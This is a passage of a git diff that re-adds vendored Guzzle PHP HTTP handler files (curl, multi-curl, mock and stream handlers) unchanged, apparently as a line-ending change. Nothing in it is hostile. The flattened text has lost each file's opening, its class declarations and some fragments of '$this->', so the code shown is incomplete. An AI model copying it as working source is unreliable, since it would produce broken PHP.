This function ensures that a response was set on a transaction. If one + * was not set, then the request is retried if possible. This error + * typically means you are sending a payload, curl encountered a + * "Connection died, retrying a fresh connect" error, tried to rewind the + * stream, and then encountered a "necessary data rewind wasn't possible" + * error, causing the request to be sent through curl_multi_info_read() + * without an error status. + */ + private static function retryFailedRewind( + callable $handler, + EasyHandle $easy, + array $ctx + ) { + try { + // Only rewind if the body has been read from. + $body = $easy->request->getBody(); + if ($body->tell() > 0) { + $body->rewind(); + } + } catch (\RuntimeException $e) { + $ctx['error'] = 'The connection unexpectedly failed without ' + . 'providing an error. The request would have been retried, ' + . 'but attempting to rewind the request body failed. ' + . 'Exception: ' . $e; + return self::createRejection($easy, $ctx); + } + + // Retry no more than 3 times before giving up. + if (!isset($easy->options['_curl_retries'])) { + $easy->options['_curl_retries'] = 1; + } elseif ($easy->options['_curl_retries'] == 2) { + $ctx['error'] = 'The cURL request was retried 3 times ' + . 'and did not succeed. The most likely reason for the failure ' + . 'is that cURL was unable to rewind the body of the request ' + . 'and subsequent retries resulted in the same error. Turn on ' + . 'the debug option to see what went wrong. See ' + . 'https://bugs.php.net/bug.php?id=47204 for more information.'; + return self::createRejection($easy, $ctx); + } else { + $easy->options['_curl_retries']++; + } + + return $handler($easy->request, $easy->options); + } + + private function createHeaderFn(EasyHandle $easy) + { + if (isset($easy->options['on_headers'])) { + $onHeaders = $easy->options['on_headers']; + + if (!is_callable($onHeaders)) { + throw new \InvalidArgumentException('on_headers must be callable'); + } + } else { + $onHeaders = null; + } + + return function ($ch, $h) use ( + $onHeaders, + $easy, + &$startingResponse + ) { + $value = trim($h); + if ($value === '') { + $startingResponse = true; + $easy->createResponse(); + if ($onHeaders !== null) { + try { + $onHeaders($easy->response); + } catch (\Exception $e) { + // Associate the exception with the handle and trigger + // a curl header write error by returning 0. + $easy->onHeadersException = $e; + return -1; + } + } + } elseif ($startingResponse) { + $startingResponse = false; + $easy->headers = [$value]; + } else { + $easy->headers[] = $value; + } + return strlen($h); + }; + } +} diff --git a/vendor/guzzlehttp/guzzle/src/Handler/CurlFactoryInterface.php b/vendor/guzzlehttp/guzzle/src/Handler/CurlFactoryInterface.php index 9f556aa48c..b0fc236850 100644 --- a/vendor/guzzlehttp/guzzle/src/Handler/CurlFactoryInterface.php +++ b/vendor/guzzlehttp/guzzle/src/Handler/CurlFactoryInterface.php @@ -1,27 +1,27 @@ -factory = isset($options['handle_factory']) - ? $options['handle_factory'] - : new CurlFactory(3); - } - - public function __invoke(RequestInterface $request, array $options) - { - if (isset($options['delay'])) { - usleep($options['delay'] * 1000); - } - - $easy = $this->factory->create($request, $options); - curl_exec($easy->handle); - $easy->errno = curl_errno($easy->handle); - - return CurlFactory::finish($this, $easy, $this->factory); - } -} +factory = isset($options['handle_factory']) + ? $options['handle_factory'] + : new CurlFactory(3); + } + + public function __invoke(RequestInterface $request, array $options) + { + if (isset($options['delay'])) { + usleep($options['delay'] * 1000); + } + + $easy = $this->factory->create($request, $options); + curl_exec($easy->handle); + $easy->errno = curl_errno($easy->handle); + + return CurlFactory::finish($this, $easy, $this->factory); + } +} diff --git a/vendor/guzzlehttp/guzzle/src/Handler/CurlMultiHandler.php b/vendor/guzzlehttp/guzzle/src/Handler/CurlMultiHandler.php index b7a570fea4..564c95f481 100644 --- a/vendor/guzzlehttp/guzzle/src/Handler/CurlMultiHandler.php +++ b/vendor/guzzlehttp/guzzle/src/Handler/CurlMultiHandler.php @@ -1,219 +1,219 @@ -factory = isset($options['handle_factory']) - ? $options['handle_factory'] : new CurlFactory(50); - - if (isset($options['select_timeout'])) { - $this->selectTimeout = $options['select_timeout']; - } elseif ($selectTimeout = getenv('GUZZLE_CURL_SELECT_TIMEOUT')) { - $this->selectTimeout = $selectTimeout; - } else { - $this->selectTimeout = 1; - } - - $this->options = isset($options['options']) ? $options['options'] : []; - } - - public function __get($name) - { - if ($name === '_mh') { - $this->_mh = curl_multi_init(); - - foreach ($this->options as $option => $value) { - // A warning is raised in case of a wrong option. - curl_multi_setopt($this->_mh, $option, $value); - } - - // Further calls to _mh will return the value directly, without entering the - // __get() method at all. - return $this->_mh; - } - - throw new \BadMethodCallException(); - } - - public function __destruct() - { - if (isset($this->_mh)) { - curl_multi_close($this->_mh); - unset($this->_mh); - } - } - - public function __invoke(RequestInterface $request, array $options) - { - $easy = $this->factory->create($request, $options); - $id = (int) $easy->handle; - - $promise = new Promise( - [$this, 'execute'], - function () use ($id) { - return $this->cancel($id); - } - ); - - $this->addRequest(['easy' => $easy, 'deferred' => $promise]); - - return $promise; - } - - /** - * Ticks the curl event loop. - */ - public function tick() - { - // Add any delayed handles if needed. - if ($this->delays) { - $currentTime = Utils::currentTime(); - foreach ($this->delays as $id => $delay) { - if ($currentTime >= $delay) { - unset($this->delays[$id]); - curl_multi_add_handle( - $this->_mh, - $this->handles[$id]['easy']->handle - ); - } - } - } - - // Step through the task queue which may add additional requests. - P\queue()->run(); - - if ($this->active && - curl_multi_select($this->_mh, $this->selectTimeout) === -1 - ) { - // Perform a usleep if a select returns -1. - // See: https://bugs.php.net/bug.php?id=61141 - usleep(250); - } - - while (curl_multi_exec($this->_mh, $this->active) === CURLM_CALL_MULTI_PERFORM); - - $this->processMessages(); - } - - /** - * Runs until all outstanding connections have completed. - */ - public function execute() - { - $queue = P\queue(); - - while ($this->handles || !$queue->isEmpty()) { - // If there are no transfers, then sleep for the next delay - if (!$this->active && $this->delays) { - usleep($this->timeToNext()); - } - $this->tick(); - } - } - - private function addRequest(array $entry) - { - $easy = $entry['easy']; - $id = (int) $easy->handle; - $this->handles[$id] = $entry; - if (empty($easy->options['delay'])) { - curl_multi_add_handle($this->_mh, $easy->handle); - } else { - $this->delays[$id] = Utils::currentTime() + ($easy->options['delay'] / 1000); - } - } - - /** - * Cancels a handle from sending and removes references to it. - * - * @param int $id Handle ID to cancel and remove. - * - * @return bool True on success, false on failure. - */ - private function cancel($id) - { - // Cannot cancel if it has been processed. - if (!isset($this->handles[$id])) { - return false; - } - - $handle = $this->handles[$id]['easy']->handle; - unset($this->delays[$id], $this->handles[$id]); - curl_multi_remove_handle($this->_mh, $handle); - curl_close($handle); - - return true; - } - - private function processMessages() - { - while ($done = curl_multi_info_read($this->_mh)) { - $id = (int) $done['handle']; - curl_multi_remove_handle($this->_mh, $done['handle']); - - if (!isset($this->handles[$id])) { - // Probably was cancelled. - continue; - } - - $entry = $this->handles[$id]; - unset($this->handles[$id], $this->delays[$id]); - $entry['easy']->errno = $done['result']; - $entry['deferred']->resolve( - CurlFactory::finish( - $this, - $entry['easy'], - $this->factory - ) - ); - } - } - - private function timeToNext() - { - $currentTime = Utils::currentTime(); - $nextTime = PHP_INT_MAX; - foreach ($this->delays as $time) { - if ($time < $nextTime) { - $nextTime = $time; - } - } - - return max(0, $nextTime - $currentTime) * 1000000; - } -} +factory = isset($options['handle_factory']) + ? $options['handle_factory'] : new CurlFactory(50); + + if (isset($options['select_timeout'])) { + $this->selectTimeout = $options['select_timeout']; + } elseif ($selectTimeout = getenv('GUZZLE_CURL_SELECT_TIMEOUT')) { + $this->selectTimeout = $selectTimeout; + } else { + $this->selectTimeout = 1; + } + + $this->options = isset($options['options']) ? $options['options'] : []; + } + + public function __get($name) + { + if ($name === '_mh') { + $this->_mh = curl_multi_init(); + + foreach ($this->options as $option => $value) { + // A warning is raised in case of a wrong option. + curl_multi_setopt($this->_mh, $option, $value); + } + + // Further calls to _mh will return the value directly, without entering the + // __get() method at all. + return $this->_mh; + } + + throw new \BadMethodCallException(); + } + + public function __destruct() + { + if (isset($this->_mh)) { + curl_multi_close($this->_mh); + unset($this->_mh); + } + } + + public function __invoke(RequestInterface $request, array $options) + { + $easy = $this->factory->create($request, $options); + $id = (int) $easy->handle; + + $promise = new Promise( + [$this, 'execute'], + function () use ($id) { + return $this->cancel($id); + } + ); + + $this->addRequest(['easy' => $easy, 'deferred' => $promise]); + + return $promise; + } + + /** + * Ticks the curl event loop. + */ + public function tick() + { + // Add any delayed handles if needed. + if ($this->delays) { + $currentTime = Utils::currentTime(); + foreach ($this->delays as $id => $delay) { + if ($currentTime >= $delay) { + unset($this->delays[$id]); + curl_multi_add_handle( + $this->_mh, + $this->handles[$id]['easy']->handle + ); + } + } + } + + // Step through the task queue which may add additional requests. + P\queue()->run(); + + if ($this->active && + curl_multi_select($this->_mh, $this->selectTimeout) === -1 + ) { + // Perform a usleep if a select returns -1. + // See: https://bugs.php.net/bug.php?id=61141 + usleep(250); + } + + while (curl_multi_exec($this->_mh, $this->active) === CURLM_CALL_MULTI_PERFORM); + + $this->processMessages(); + } + + /** + * Runs until all outstanding connections have completed. + */ + public function execute() + { + $queue = P\queue(); + + while ($this->handles || !$queue->isEmpty()) { + // If there are no transfers, then sleep for the next delay + if (!$this->active && $this->delays) { + usleep($this->timeToNext()); + } + $this->tick(); + } + } + + private function addRequest(array $entry) + { + $easy = $entry['easy']; + $id = (int) $easy->handle; + $this->handles[$id] = $entry; + if (empty($easy->options['delay'])) { + curl_multi_add_handle($this->_mh, $easy->handle); + } else { + $this->delays[$id] = Utils::currentTime() + ($easy->options['delay'] / 1000); + } + } + + /** + * Cancels a handle from sending and removes references to it. + * + * @param int $id Handle ID to cancel and remove. + * + * @return bool True on success, false on failure. + */ + private function cancel($id) + { + // Cannot cancel if it has been processed. + if (!isset($this->handles[$id])) { + return false; + } + + $handle = $this->handles[$id]['easy']->handle; + unset($this->delays[$id], $this->handles[$id]); + curl_multi_remove_handle($this->_mh, $handle); + curl_close($handle); + + return true; + } + + private function processMessages() + { + while ($done = curl_multi_info_read($this->_mh)) { + $id = (int) $done['handle']; + curl_multi_remove_handle($this->_mh, $done['handle']); + + if (!isset($this->handles[$id])) { + // Probably was cancelled. + continue; + } + + $entry = $this->handles[$id]; + unset($this->handles[$id], $this->delays[$id]); + $entry['easy']->errno = $done['result']; + $entry['deferred']->resolve( + CurlFactory::finish( + $this, + $entry['easy'], + $this->factory + ) + ); + } + } + + private function timeToNext() + { + $currentTime = Utils::currentTime(); + $nextTime = PHP_INT_MAX; + foreach ($this->delays as $time) { + if ($time < $nextTime) { + $nextTime = $time; + } + } + + return max(0, $nextTime - $currentTime) * 1000000; + } +} diff --git a/vendor/guzzlehttp/guzzle/src/Handler/EasyHandle.php b/vendor/guzzlehttp/guzzle/src/Handler/EasyHandle.php index 226d7f4aa3..7754e9111b 100644 --- a/vendor/guzzlehttp/guzzle/src/Handler/EasyHandle.php +++ b/vendor/guzzlehttp/guzzle/src/Handler/EasyHandle.php @@ -1,92 +1,92 @@ -headers)) { - throw new \RuntimeException('No headers have been received'); - } - - // HTTP-version SP status-code SP reason-phrase - $startLine = explode(' ', array_shift($this->headers), 3); - $headers = \GuzzleHttp\headers_from_lines($this->headers); - $normalizedKeys = \GuzzleHttp\normalize_header_keys($headers); - - if (!empty($this->options['decode_content']) - && isset($normalizedKeys['content-encoding']) - ) { - $headers['x-encoded-content-encoding'] - = $headers[$normalizedKeys['content-encoding']]; - unset($headers[$normalizedKeys['content-encoding']]); - if (isset($normalizedKeys['content-length'])) { - $headers['x-encoded-content-length'] - = $headers[$normalizedKeys['content-length']]; - - $bodyLength = (int) $this->sink->getSize(); - if ($bodyLength) { - $headers[$normalizedKeys['content-length']] = $bodyLength; - } else { - unset($headers[$normalizedKeys['content-length']]); - } - } - } - - // Attach a response to the easy handle with the parsed headers. - $this->response = new Response( - $startLine[1], - $headers, - $this->sink, - substr($startLine[0], 5), - isset($startLine[2]) ? (string) $startLine[2] : null - ); - } - - public function __get($name) - { - $msg = $name === 'handle' - ? 'The EasyHandle has been released' - : 'Invalid property: ' . $name; - throw new \BadMethodCallException($msg); - } -} +headers)) { + throw new \RuntimeException('No headers have been received'); + } + + // HTTP-version SP status-code SP reason-phrase + $startLine = explode(' ', array_shift($this->headers), 3); + $headers = \GuzzleHttp\headers_from_lines($this->headers); + $normalizedKeys = \GuzzleHttp\normalize_header_keys($headers); + + if (!empty($this->options['decode_content']) + && isset($normalizedKeys['content-encoding']) + ) { + $headers['x-encoded-content-encoding'] + = $headers[$normalizedKeys['content-encoding']]; + unset($headers[$normalizedKeys['content-encoding']]); + if (isset($normalizedKeys['content-length'])) { + $headers['x-encoded-content-length'] + = $headers[$normalizedKeys['content-length']]; + + $bodyLength = (int) $this->sink->getSize(); + if ($bodyLength) { + $headers[$normalizedKeys['content-length']] = $bodyLength; + } else { + unset($headers[$normalizedKeys['content-length']]); + } + } + } + + // Attach a response to the easy handle with the parsed headers. + $this->response = new Response( + $startLine[1], + $headers, + $this->sink, + substr($startLine[0], 5), + isset($startLine[2]) ? (string) $startLine[2] : null + ); + } + + public function __get($name) + { + $msg = $name === 'handle' + ? 'The EasyHandle has been released' + : 'Invalid property: ' . $name; + throw new \BadMethodCallException($msg); + } +} diff --git a/vendor/guzzlehttp/guzzle/src/Handler/MockHandler.php b/vendor/guzzlehttp/guzzle/src/Handler/MockHandler.php index 8fcfc9509e..5b312bc042 100644 --- a/vendor/guzzlehttp/guzzle/src/Handler/MockHandler.php +++ b/vendor/guzzlehttp/guzzle/src/Handler/MockHandler.php @@ -1,195 +1,195 @@ -onFulfilled = $onFulfilled; - $this->onRejected = $onRejected; - - if ($queue) { - call_user_func_array([$this, 'append'], $queue); - } - } - - public function __invoke(RequestInterface $request, array $options) - { - if (!$this->queue) { - throw new \OutOfBoundsException('Mock queue is empty'); - } - - if (isset($options['delay']) && is_numeric($options['delay'])) { - usleep($options['delay'] * 1000); - } - - $this->lastRequest = $request; - $this->lastOptions = $options; - $response = array_shift($this->queue); - - if (isset($options['on_headers'])) { - if (!is_callable($options['on_headers'])) { - throw new \InvalidArgumentException('on_headers must be callable'); - } - try { - $options['on_headers']($response); - } catch (\Exception $e) { - $msg = 'An error was encountered during the on_headers event'; - $response = new RequestException($msg, $request, $response, $e); - } - } - - if (is_callable($response)) { - $response = call_user_func($response, $request, $options); - } - - $response = $response instanceof \Exception - ? \GuzzleHttp\Promise\rejection_for($response) - : \GuzzleHttp\Promise\promise_for($response); - - return $response->then( - function ($value) use ($request, $options) { - $this->invokeStats($request, $options, $value); - if ($this->onFulfilled) { - call_user_func($this->onFulfilled, $value); - } - if (isset($options['sink'])) { - $contents = (string) $value->getBody(); - $sink = $options['sink']; - - if (is_resource($sink)) { - fwrite($sink, $contents); - } elseif (is_string($sink)) { - file_put_contents($sink, $contents); - } elseif ($sink instanceof \Psr\Http\Message\StreamInterface) { - $sink->write($contents); - } - } - - return $value; - }, - function ($reason) use ($request, $options) { - $this->invokeStats($request, $options, null, $reason); - if ($this->onRejected) { - call_user_func($this->onRejected, $reason); - } - return \GuzzleHttp\Promise\rejection_for($reason); - } - ); - } - - /** - * Adds one or more variadic requests, exceptions, callables, or promises - * to the queue. - */ - public function append() - { - foreach (func_get_args() as $value) { - if ($value instanceof ResponseInterface - || $value instanceof \Exception - || $value instanceof PromiseInterface - || is_callable($value) - ) { - $this->queue[] = $value; - } else { - throw new \InvalidArgumentException('Expected a response or ' - . 'exception. Found ' . \GuzzleHttp\describe_type($value)); - } - } - } - - /** - * Get the last received request. - * - * @return RequestInterface - */ - public function getLastRequest() - { - return $this->lastRequest; - } - - /** - * Get the last received request options. - * - * @return array - */ - public function getLastOptions() - { - return $this->lastOptions; - } - - /** - * Returns the number of remaining items in the queue. - * - * @return int - */ - public function count() - { - return count($this->queue); - } - - public function reset() - { - $this->queue = []; - } - - private function invokeStats( - RequestInterface $request, - array $options, - ResponseInterface $response = null, - $reason = null - ) { - if (isset($options['on_stats'])) { - $transferTime = isset($options['transfer_time']) ? $options['transfer_time'] : 0; - $stats = new TransferStats($request, $response, $transferTime, $reason); - call_user_func($options['on_stats'], $stats); - } - } -} +onFulfilled = $onFulfilled; + $this->onRejected = $onRejected; + + if ($queue) { + call_user_func_array([$this, 'append'], $queue); + } + } + + public function __invoke(RequestInterface $request, array $options) + { + if (!$this->queue) { + throw new \OutOfBoundsException('Mock queue is empty'); + } + + if (isset($options['delay']) && is_numeric($options['delay'])) { + usleep($options['delay'] * 1000); + } + + $this->lastRequest = $request; + $this->lastOptions = $options; + $response = array_shift($this->queue); + + if (isset($options['on_headers'])) { + if (!is_callable($options['on_headers'])) { + throw new \InvalidArgumentException('on_headers must be callable'); + } + try { + $options['on_headers']($response); + } catch (\Exception $e) { + $msg = 'An error was encountered during the on_headers event'; + $response = new RequestException($msg, $request, $response, $e); + } + } + + if (is_callable($response)) { + $response = call_user_func($response, $request, $options); + } + + $response = $response instanceof \Exception + ? \GuzzleHttp\Promise\rejection_for($response) + : \GuzzleHttp\Promise\promise_for($response); + + return $response->then( + function ($value) use ($request, $options) { + $this->invokeStats($request, $options, $value); + if ($this->onFulfilled) { + call_user_func($this->onFulfilled, $value); + } + if (isset($options['sink'])) { + $contents = (string) $value->getBody(); + $sink = $options['sink']; + + if (is_resource($sink)) { + fwrite($sink, $contents); + } elseif (is_string($sink)) { + file_put_contents($sink, $contents); + } elseif ($sink instanceof \Psr\Http\Message\StreamInterface) { + $sink->write($contents); + } + } + + return $value; + }, + function ($reason) use ($request, $options) { + $this->invokeStats($request, $options, null, $reason); + if ($this->onRejected) { + call_user_func($this->onRejected, $reason); + } + return \GuzzleHttp\Promise\rejection_for($reason); + } + ); + } + + /** + * Adds one or more variadic requests, exceptions, callables, or promises + * to the queue. + */ + public function append() + { + foreach (func_get_args() as $value) { + if ($value instanceof ResponseInterface + || $value instanceof \Exception + || $value instanceof PromiseInterface + || is_callable($value) + ) { + $this->queue[] = $value; + } else { + throw new \InvalidArgumentException('Expected a response or ' + . 'exception. Found ' . \GuzzleHttp\describe_type($value)); + } + } + } + + /** + * Get the last received request. + * + * @return RequestInterface + */ + public function getLastRequest() + { + return $this->lastRequest; + } + + /** + * Get the last received request options. + * + * @return array + */ + public function getLastOptions() + { + return $this->lastOptions; + } + + /** + * Returns the number of remaining items in the queue. + * + * @return int + */ + public function count() + { + return count($this->queue); + } + + public function reset() + { + $this->queue = []; + } + + private function invokeStats( + RequestInterface $request, + array $options, + ResponseInterface $response = null, + $reason = null + ) { + if (isset($options['on_stats'])) { + $transferTime = isset($options['transfer_time']) ? $options['transfer_time'] : 0; + $stats = new TransferStats($request, $response, $transferTime, $reason); + call_user_func($options['on_stats'], $stats); + } + } +} diff --git a/vendor/guzzlehttp/guzzle/src/Handler/Proxy.php b/vendor/guzzlehttp/guzzle/src/Handler/Proxy.php index 7ef5ad4ce9..f8b00be0b9 100644 --- a/vendor/guzzlehttp/guzzle/src/Handler/Proxy.php +++ b/vendor/guzzlehttp/guzzle/src/Handler/Proxy.php @@ -1,55 +1,55 @@ -withoutHeader('Expect'); - - // Append a content-length header if body size is zero to match - // cURL's behavior. - if (0 === $request->getBody()->getSize()) { - $request = $request->withHeader('Content-Length', '0'); - } - - return $this->createResponse( - $request, - $options, - $this->createStream($request, $options), - $startTime - ); - } catch (\InvalidArgumentException $e) { - throw $e; - } catch (\Exception $e) { - // Determine if the error was a networking error. - $message = $e->getMessage(); - // This list can probably get more comprehensive. - if (strpos($message, 'getaddrinfo') // DNS lookup failed - || strpos($message, 'Connection refused') - || strpos($message, "couldn't connect to host") // error on HHVM - || strpos($message, "connection attempt failed") - ) { - $e = new ConnectException($e->getMessage(), $request, $e); - } - $e = RequestException::wrapException($request, $e); - $this->invokeStats($options, $request, $startTime, null, $e); - - return \GuzzleHttp\Promise\rejection_for($e); - } - } - - private function invokeStats( - array $options, - RequestInterface $request, - $startTime, - ResponseInterface $response = null, - $error = null - ) { - if (isset($options['on_stats'])) { - $stats = new TransferStats( - $request, - $response, - Utils::currentTime() - $startTime, - $error, - [] - ); - call_user_func($options['on_stats'], $stats); - } - } - - private function createResponse( - RequestInterface $request, - array $options, - $stream, - $startTime - ) { - $hdrs = $this->lastHeaders; - $this->lastHeaders = []; - $parts = explode(' ', array_shift($hdrs), 3); - $ver = explode('/', $parts[0])[1]; - $status = $parts[1]; - $reason = isset($parts[2]) ? $parts[2] : null; - $headers = \GuzzleHttp\headers_from_lines($hdrs); - list($stream, $headers) = $this->checkDecode($options, $headers, $stream); - $stream = Psr7\stream_for($stream); - $sink = $stream; - - if (strcasecmp('HEAD', $request->getMethod())) { - $sink = $this->createSink($stream, $options); - } - - $response = new Psr7\Response($status, $headers, $sink, $ver, $reason); - - if (isset($options['on_headers'])) { - try { - $options['on_headers']($response); - } catch (\Exception $e) { - $msg = 'An error was encountered during the on_headers event'; - $ex = new RequestException($msg, $request, $response, $e); - return \GuzzleHttp\Promise\rejection_for($ex); - } - } - - // Do not drain when the request is a HEAD request because they have - // no body. - if ($sink !== $stream) { - $this->drain( - $stream, - $sink, - $response->getHeaderLine('Content-Length') - ); - } - - $this->invokeStats($options, $request, $startTime, $response, null); - - return new FulfilledPromise($response); - } - - private function createSink(StreamInterface $stream, array $options) - { - if (!empty($options['stream'])) { - return $stream; - } - - $sink = isset($options['sink']) - ? $options['sink'] - : fopen('php://temp', 'r+'); - - return is_string($sink) - ? new Psr7\LazyOpenStream($sink, 'w+') - : Psr7\stream_for($sink); - } - - private function checkDecode(array $options, array $headers, $stream) - { - // Automatically decode responses when instructed. - if (!empty($options['decode_content'])) { - $normalizedKeys = \GuzzleHttp\normalize_header_keys($headers); - if (isset($normalizedKeys['content-encoding'])) { - $encoding = $headers[$normalizedKeys['content-encoding']]; - if ($encoding[0] === 'gzip' || $encoding[0] === 'deflate') { - $stream = new Psr7\InflateStream( - Psr7\stream_for($stream) - ); - $headers['x-encoded-content-encoding'] - = $headers[$normalizedKeys['content-encoding']]; - // Remove content-encoding header - unset($headers[$normalizedKeys['content-encoding']]); - // Fix content-length header - if (isset($normalizedKeys['content-length'])) { - $headers['x-encoded-content-length'] - = $headers[$normalizedKeys['content-length']]; - - $length = (int) $stream->getSize(); - if ($length === 0) { - unset($headers[$normalizedKeys['content-length']]); - } else { - $headers[$normalizedKeys['content-length']] = [$length]; - } - } - } - } - } - - return [$stream, $headers]; - } - - /** - * Drains the source stream into the "sink" client option. - * - * @param StreamInterface $source - * @param StreamInterface $sink - * @param string $contentLength Header specifying the amount of - * data to read. - * - * @return StreamInterface - * @throws \RuntimeException when the sink option is invalid. - */ - private function drain( - StreamInterface $source, - StreamInterface $sink, - $contentLength - ) { - // If a content-length header is provided, then stop reading once - // that number of bytes has been read. This can prevent infinitely - // reading from a stream when dealing with servers that do not honor - // Connection: Close headers. - Psr7\copy_to_stream( - $source, - $sink, - (strlen($contentLength) > 0 && (int) $contentLength > 0) ? (int) $contentLength : -1 - ); - - $sink->seek(0); - $source->close(); - - return $sink; - } - - /** - * Create a resource and check to ensure it was created successfully - * - * @param callable $callback Callable that returns stream resource - * - * @return resource - * @throws \RuntimeException on error - */ - private function createResource(callable $callback) - { - $errors = null; - set_error_handler(function ($_, $msg, $file, $line) use (&$errors) { - $errors[] = [ - 'message' => $msg, - 'file' => $file, - 'line' => $line - ]; - return true; - }); - - $resource = $callback(); - restore_error_handler(); - - if (!$resource) { - $message = 'Error creating resource: '; - foreach ($errors as $err) { - foreach ($err as $key => $value) { - $message .= "[$key] $value" . PHP_EOL; - } - } - throw new \RuntimeException(trim($message)); - } - - return $resource; - } - - private function createStream(RequestInterface $request, array $options) - { - static $methods; - if (!$methods) { - $methods = array_flip(get_class_methods(__CLASS__)); - } - - // HTTP/1.1 streams using the PHP stream wrapper require a - // Connection: close header - if ($request->getProtocolVersion() == '1.1' - && !$request->hasHeader('Connection') - ) { - $request = $request->withHeader('Connection', 'close'); - } - - // Ensure SSL is verified by default - if (!isset($options['verify'])) { - $options['verify'] = true; - } - - $params = []; - $context = $this->getDefaultContext($request); - - if (isset($options['on_headers']) && !is_callable($options['on_headers'])) { - throw new \InvalidArgumentException('on_headers must be callable'); - } - - if (!empty($options)) { - foreach ($options as $key => $value) { - $method = "add_{$key}"; - if (isset($methods[$method])) { - $this->{$method}($request, $context, $value, $params); - } - } - } - - if (isset($options['stream_context'])) { - if (!is_array($options['stream_context'])) { - throw new \InvalidArgumentException('stream_context must be an array'); - } - $context = array_replace_recursive( - $context, - $options['stream_context'] - ); - } - - // Microsoft NTLM authentication only supported with curl handler - if (isset($options['auth']) - && is_array($options['auth']) - && isset($options['auth'][2]) - && 'ntlm' == $options['auth'][2] - ) { - throw new \InvalidArgumentException('Microsoft NTLM authentication only supported with curl handler'); - } - - $uri = $this->resolveHost($request, $options); - - $context = $this->createResource( - function () use ($context, $params) { - return stream_context_create($context, $params); - } - ); - - return $this->createResource( - function () use ($uri, &$http_response_header, $context, $options) { - $resource = fopen((string) $uri, 'r', null, $context); - $this->lastHeaders = $http_response_header; - - if (isset($options['read_timeout'])) { - $readTimeout = $options['read_timeout']; - $sec = (int) $readTimeout; - $usec = ($readTimeout - $sec) * 100000; - stream_set_timeout($resource, $sec, $usec); - } - - return $resource; - } - ); - } - - private function resolveHost(RequestInterface $request, array $options) - { - $uri = $request->getUri(); - - if (isset($options['force_ip_resolve']) && !filter_var($uri->getHost(), FILTER_VALIDATE_IP)) { - if ('v4' === $options['force_ip_resolve']) { - $records = dns_get_record($uri->getHost(), DNS_A); - if (!isset($records[0]['ip'])) { - throw new ConnectException( - sprintf( - "Could not resolve IPv4 address for host '%s'", - $uri->getHost() - ), - $request - ); - } - $uri = $uri->withHost($records[0]['ip']); - } elseif ('v6' === $options['force_ip_resolve']) { - $records = dns_get_record($uri->getHost(), DNS_AAAA); - if (!isset($records[0]['ipv6'])) { - throw new ConnectException( - sprintf( - "Could not resolve IPv6 address for host '%s'", - $uri->getHost() - ), - $request - ); - } - $uri = $uri->withHost('[' . $records[0]['ipv6'] . ']'); - } - } - - return $uri; - } - - private function getDefaultContext(RequestInterface $request) - { - $headers = ''; - foreach ($request->getHeaders() as $name => $value) { - foreach ($value as $val) { - $headers .= "$name: $val\r\n"; - } - } - - $context = [ - 'http' => [ - 'method' => $request->getMethod(), - 'header' => $headers, - 'protocol_version' => $request->getProtocolVersion(), - 'ignore_errors' => true, - 'follow_location' => 0, - ], - ]; - - $body = (string) $request->getBody(); - - if (!empty($body)) { - $context['http']['content'] = $body; - // Prevent the HTTP handler from adding a Content-Type header. - if (!$request->hasHeader('Content-Type')) { - $context['http']['header'] .= "Content-Type:\r\n"; - } - } - - $context['http']['header'] = rtrim($context['http']['header']); - - return $context; - } - - private function add_proxy(RequestInterface $request, &$options, $value, &$params) - { - if (!is_array($value)) { - $options['http']['proxy'] = $value; - } else { - $scheme = $request->getUri()->getScheme(); - if (isset($value[$scheme])) { - if (!isset($value['no']) - || !\GuzzleHttp\is_host_in_noproxy( - $request->getUri()->getHost(), - $value['no'] - ) - ) { - $options['http']['proxy'] = $value[$scheme]; - } - } - } - } - - private function add_timeout(RequestInterface $request, &$options, $value, &$params) - { - if ($value > 0) { - $options['http']['timeout'] = $value; - } - } - - private function add_verify(RequestInterface $request, &$options, $value, &$params) - { - if ($value === true) { - // PHP 5.6 or greater will find the system cert by default. When - // < 5.6, use the Guzzle bundled cacert. - if (PHP_VERSION_ID < 50600) { - $options['ssl']['cafile'] = \GuzzleHttp\default_ca_bundle(); - } - } elseif (is_string($value)) { - $options['ssl']['cafile'] = $value; - if (!file_exists($value)) { - throw new \RuntimeException("SSL CA bundle not found: $value"); - } - } elseif ($value === false) { - $options['ssl']['verify_peer'] = false; - $options['ssl']['verify_peer_name'] = false; - return; - } else { - throw new \InvalidArgumentException('Invalid verify request option'); - } - - $options['ssl']['verify_peer'] = true; - $options['ssl']['verify_peer_name'] = true; - $options['ssl']['allow_self_signed'] = false; - } - - private function add_cert(RequestInterface $request, &$options, $value, &$params) - { - if (is_array($value)) { - $options['ssl']['passphrase'] = $value[1]; - $value = $value[0]; - } - - if (!file_exists($value)) { - throw new \RuntimeException("SSL certificate not found: {$value}"); - } - - $options['ssl']['local_cert'] = $value; - } - - private function add_progress(RequestInterface $request, &$options, $value, &$params) - { - $this->addNotification( - $params, - function ($code, $a, $b, $c, $transferred, $total) use ($value) { - if ($code == STREAM_NOTIFY_PROGRESS) { - $value($total, $transferred, null, null); - } - } - ); - } - - private function add_debug(RequestInterface $request, &$options, $value, &$params) - { - if ($value === false) { - return; - } - - static $map = [ - STREAM_NOTIFY_CONNECT => 'CONNECT', - STREAM_NOTIFY_AUTH_REQUIRED => 'AUTH_REQUIRED', - STREAM_NOTIFY_AUTH_RESULT => 'AUTH_RESULT', - STREAM_NOTIFY_MIME_TYPE_IS => 'MIME_TYPE_IS', - STREAM_NOTIFY_FILE_SIZE_IS => 'FILE_SIZE_IS', - STREAM_NOTIFY_REDIRECTED => 'REDIRECTED', - STREAM_NOTIFY_PROGRESS => 'PROGRESS', - STREAM_NOTIFY_FAILURE => 'FAILURE', - STREAM_NOTIFY_COMPLETED => 'COMPLETED', - STREAM_NOTIFY_RESOLVE => 'RESOLVE', - ]; - static $args = ['severity', 'message', 'message_code', - 'bytes_transferred', 'bytes_max']; - - $value = \GuzzleHttp\debug_resource($value); - $ident = $request->getMethod() . ' ' . $request->getUri()->withFragment(''); - $this->addNotification( - $params, - function () use ($ident, $value, $map, $args) { - $passed = func_get_args(); - $code = array_shift($passed); - fprintf($value, '<%s> [%s] ', $ident, $map[$code]); - foreach (array_filter($passed) as $i => $v) { - fwrite($value, $args[$i] . ': "' . $v . '" '); - } - fwrite($value, "\n"); - } - ); - } - - private function addNotification(array &$params, callable $notify) - { - // Wrap the existing function if needed. - if (!isset($params['notification'])) { - $params['notification'] = $notify; - } else { - $params['notification'] = $this->callArray([ - $params['notification'], - $notify - ]); - } - } - - private function callArray(array $functions) - { - return function () use ($functions) { - $args = func_get_args(); - foreach ($functions as $fn) { - call_user_func_array($fn, $args); - } - }; - } -} +withoutHeader('Expect'); + + // Append a content-length header if body size is zero to match + // cURL's 